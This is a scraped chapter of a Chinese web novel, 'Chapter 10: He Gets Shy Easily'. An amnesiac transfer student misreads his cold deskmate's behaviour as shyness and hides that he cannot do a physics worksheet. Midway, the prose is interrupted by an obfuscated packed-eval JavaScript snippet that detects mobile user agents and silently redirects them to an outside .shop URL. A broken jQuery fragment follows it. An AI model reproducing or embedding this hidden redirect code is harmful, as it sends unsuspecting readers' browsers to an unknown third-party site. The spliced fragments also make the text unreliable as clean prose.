文趣网 > 都市小说 > 沙雕受失忆后以为自己是渣攻 > 10. 他容易害羞
    离两点半还有八分钟。

    江有颂把笔撂下,为刚刚的判断感到惭愧,这时间够个屁。

    “看书,把知识点理解了再做。”

    他没必要在一个上了高二还不知道牛顿第二定律的人身上浪费时间。

    周以绥:“你不是说好的教我的吗?”

    江有颂额角抽了一下,“你先知道这个东西,学了不会我再教。”

    周以绥明白了,他这是想让他先学会独立思考,他会做他最坚实的后盾。

    看来,就算江有颂在意他失忆的事,也还是忍不住会关心他,即使是出于害羞不敢明说。

    那个渣攻的努力并没有白费。

    周以绥心里舒畅了。

    他翻开物理书,打开目录,找那什么牛顿第二定律,却没找到。

    正纳闷着,江有颂冰冷的声音在耳边响起:“必修一,高一学的。”

    一班的午自习练习试卷会把学过的知识点复习一遍,又会穿插一两道现在正在学的知识点。

    他们每个人的桌上和旁边的书架基本都会放着从高一到现在发放的教材,方便做题翻找。

    周以绥恍然,立即去翻他桌面上的那堆书,他的书有点乱,当初急着过来找江有颂,并没留意他有没有全部带过来。

    桌上的书找不到,他转身去翻他书包里的那一摞,还顺手把里边放在最前面的那本书拿出来丢在了桌面上。

    那本书封面和其他课本不一样,江有颂无意扫了眼。

    《植物人复健手册》几个大字映入眼帘。

    没几秒,又被其他书盖了上去。

    江有颂收回视线,眉间微拧。

    忽然想起了早上体育课的事。

    “找到了!”

    雀跃的声音传来,江有颂敛回心神。

    周以绥找到书后便迅速翻找这题的知识点,“让我看看,牛顿第二定律,物体加速度的大小跟它受到的作用力成正比,跟它的质量成反比……”

    看着看着,他就没了动静。

    江有颂看了眼时间,他已经盯着那一行字看了有两分钟了。

    不少人早就把试卷做完正在修订,还有人离开座位去问人。

    周简简的位置周围就挤满了人。

    他扫了一眼,再回来,周以绥还在盯着那行字。

    他不识字了?

    下一秒,周以绥一脸凝重地抬起头,直视前方。

    江有颂抿了一下唇。

    “这课本!”

    周以绥声音沉重,表情悲壮。

    就在江有颂诧异的时候,他接着道:“有防自学机制!”

    江有颂:“……”

    下课铃刚好响起,一班像按到了某个开关,声音如洪水泄闸。

    讨论的声音止不住地席卷了整间教室。

    “这试卷太简单了吧!我直接就是一个满分啊!”

    “真的假的,最后那道万有引力的问答题你写完了?”

    “那肯定的,也不看看我是谁!?”

    中二的发言无时无刻存在,江有颂习以为常地把卷子收好,准备上下节课。

    午自习下课时间只有五分钟,这期间是给他们去洗手间的。

    宋侯带着寸头过来找周以绥,见他还在做题,语气惊讶,“绥哥,你还没做完吗?”

    在他们的印象里,周以绥是高三留级下来的,而且还能直接转来他们学校的实验班,实力肯定不差。

    最主要的是,他还是周简简她哥。

    现在见他愁眉苦脸的,两人凑上前来,“你在做最后一题吗?”

    周以绥立即把试卷塞进物理必修一课本里。

    “没有,我做完了,只是太久没做题了,有点生疏。”

    江有颂几不可察地扫了他一眼。

    宋侯理解:“正常,我暑假放两个月回来,开学考数学都没时间写,平时怎么说都能剩十几分钟。”

    寸头也跟着点头:“对,我也是,那英语阅读题我都没时间做,不用担心,后面做多了就恢复手感了。”

    不,这不一样。

    周以绥不能告诉他们他一道题都看不懂。

    这一旦说出去,他还能不能留在一班都是个问题,要是离开一班了,他还怎么接近江有颂?

    “绥哥,去厕所吗?”宋侯想起他们来找他的目的。

    “行,走吧。”周以绥把课本放一旁,起身,然后很自然地转头看向江有颂,这人全程低着头根本没听他们聊天,他曲起手指轻轻在他桌面敲了一下,“一起吗?”

    宋侯和寸头两人愣了。

    随后他们就见到这位从不搭理人的冰山学神,抬起眼皮,看了他一眼,“不去。”

    意料之中的回答,周以绥却从善如流地来了句:“那下次约。”

    江有颂:“……”

    宋侯两人:“……”

    去厕所也能提前约也是没谁了。

    三人来到走廊。

    宋侯想起周以绥说江有颂因为第一次有人找他做同桌害羞的事,还有上午体育课他叫的那声“小颂颂”,当时一班的人都听见了,都觉得他这个转学生初生牛犊不怕虎,相信没过几天就会和其他人一样,离那位大神远远的。

    毕竟先前也有几个不知所谓的去接近江有颂,后面无一例外都避他如蛇蝎。

    但他总感觉周以绥不太一样,他还是第一次从别人口中听到用害羞这个词来形容那位,于是宋侯问了一嘴:“你和他相处得很好吗?”

    周以绥:“谁?我同桌吗?那肯定好啊,他还教我做题呢。”

    寸头:“教你做题?真的?我之前问他题他都不带理我的。”

    周以绥诧异,江有颂就算孤僻,那也是因为内心敏感多疑导致的孤僻,不至于同班同学问个问题都不理。

    看来他在别人心里的误会还挺多,难怪一直没有朋友。

    还好,现在有他在了!

    他替他解释:“可能他觉得那道题你不应该不会,就算他不帮你你也能做出来。”

    寸头迟疑:“你确定?”

    他回想起当时问江有颂问题的场面。

    在一班,不论那个人的性格和人品怎样,只要成绩牛逼,那还是会有人凑到他跟前,讨好还是崇拜,不在少数。

    可江有颂是例外,上学期文理分科没多久,他就想和江有颂这个人接触,能成为朋友最好,不能的话有个平时做题问问题的关系也行,但他第一次尝试拿着题目去找他,得到的就只有他的一个后脑勺。

    少年看了眼他递来的题目,二话不说就趴在了桌上。

    他立在原地,除了尴尬就是尴尬。

    之后就没再找他问过题。

    周以绥想了想,也不知道当时江有颂是什么个情况,但以他的性格,肯定不是故意不理人,他试图挽回他在同学心目中的形象,“我刚问他问题,他也没直接教我,后面不仅帮我找出了知识点,还叫我学了之后再做,有不懂再问他。”

    寸头一愣,这怎么还区别对待?

    周以绥拍了拍他肩膀,接着说:“他当时对你肯定也是这个意思,让你先学会独立思考,之后不懂再问他。”

    寸头怀疑,“是…是这样理解的吗?”

    周以绥肯定点头:“没错,每个人的教学方法都不一样,而且你们也知道,他比较容易害羞。”

    所以才会用后脑勺对人?

    寸头迷茫了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792030|210422||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    回到教室,宋侯和寸头两人对周以绥说的话还存有质疑,他们进门前下意识看了眼江有颂,江有颂仍旧在低着头看书,那副冷冰冰的模样看上去也不像是这么容易害羞的人。

    不过,人不可貌相,他们也不好判断。

    两人互相对视一眼,回到了各自座位。

    这节课是语文。

    一班语文老师是位男老师,姓温。

    进门时带着丝仙气飘飘,白衬衫扎进黑西裤,穿着打扮儒雅得体。

    他下颌特地留了把小胡子,打理得很整洁,后边头发用发绳拢起一绺发尾,像书中的文人。

    手里教材往那讲台一放,抬手抚了抚胡子,开口:“诸位对自己的成绩满意否?”

    一班同学集体给出回应:“吾等甚是不满啊!”

    这回答比早读还整齐,可谓是千锤百炼。

    周以绥看了眼外面的太阳,怀疑他不仅穿书了,还穿越朝代了。

    语文老师面露悲痛:“既如此,便……”

    话音一顿,他目光瞥见了后排的人,话题直接偏移,“这就是那位英雄好汉了吧?”

    顿时,一班所有目光又挪到了他身上,每个人脸上带笑,似乎都想看他怎么回答。

    周以绥一回生二回熟,高高举起了手,“正是在下!”

    一班话闸子瞬间打开,哄闹嬉笑声如潮水涌动。

    语文老师摸着了他性格,抬手一挥,“科代表!”

    周以绥前边的男生忽然起身,“在!”

    语文老师:“去,给英雄好汉拿张卷子!”

    周以绥刚想说不用,他可以和同桌一起看,结果下一秒,坐在前面的那人一个转身,从桌兜里掏出了一塌巴掌厚的卷子。

    啪叽一下丢在了他桌面上,还很豪迈地来了一句:“好汉请挑!”

    周以绥瞳孔震惊:哥们你搞批发的啊?

    前边那人坐下后笑着转头和他解释了一句:“语文试卷印多的都在我这了,你拿了之后再还我。”

    周以绥不解:“你拿这么多试卷干嘛?”

    语文科代表:“做草稿纸啊,语文试卷后面有作文纸,最适合打草稿了。”

    周以绥:“……”

    他不得不对他竖起个大拇指。

    那人嘿嘿笑了一声。

    这下没借口找江有颂共看一张试卷了。

    周以绥感到可惜,眼巴巴地去瞅了眼江有颂那张试卷。

    他这副样子江有颂看在眼里,随后把试卷往里挪了挪,让他看都看不见。

    周以绥:?

    语文老师的声音温文尔雅地传来,教室里时不时有翻动卷子的声音。

    这班理科生面对没有标准答案的科目经常性束手无策,听着讲解有一搭没一搭地撑着脸订正扣分点,偶尔还会飙出几句‘难也’‘妙哉’。

    枯燥的语文课竟像文人批斗。

    周以绥看着手里的空白卷子,想到江有颂希望他好好上课的心愿,明白了他刚刚挡住试卷的举动是在提醒自己——现在是上课时间!

    周以绥也知道现在的他很危险,随时随地都可能被人发现自己脑袋空空,然后滚出一班。

    他不知道失忆前他的实力到底是个什么样,但在原书里,恋爱后的周以绥可是能和江有颂打得有来有回的,两人不是他第二就是他第二,至于第一是谁,周以绥回忆了一下——居然是周简简。

    这原主妹妹在后期竟然比江有颂还强。

    真是一山容不了二虎,即使一公一母。

    而现在,他必须把所有的知识点学回来,还得跟上一班的学习进度。

    不能马虎!

    周以绥眼神坚定,拿起笔,认真地做起了笔记。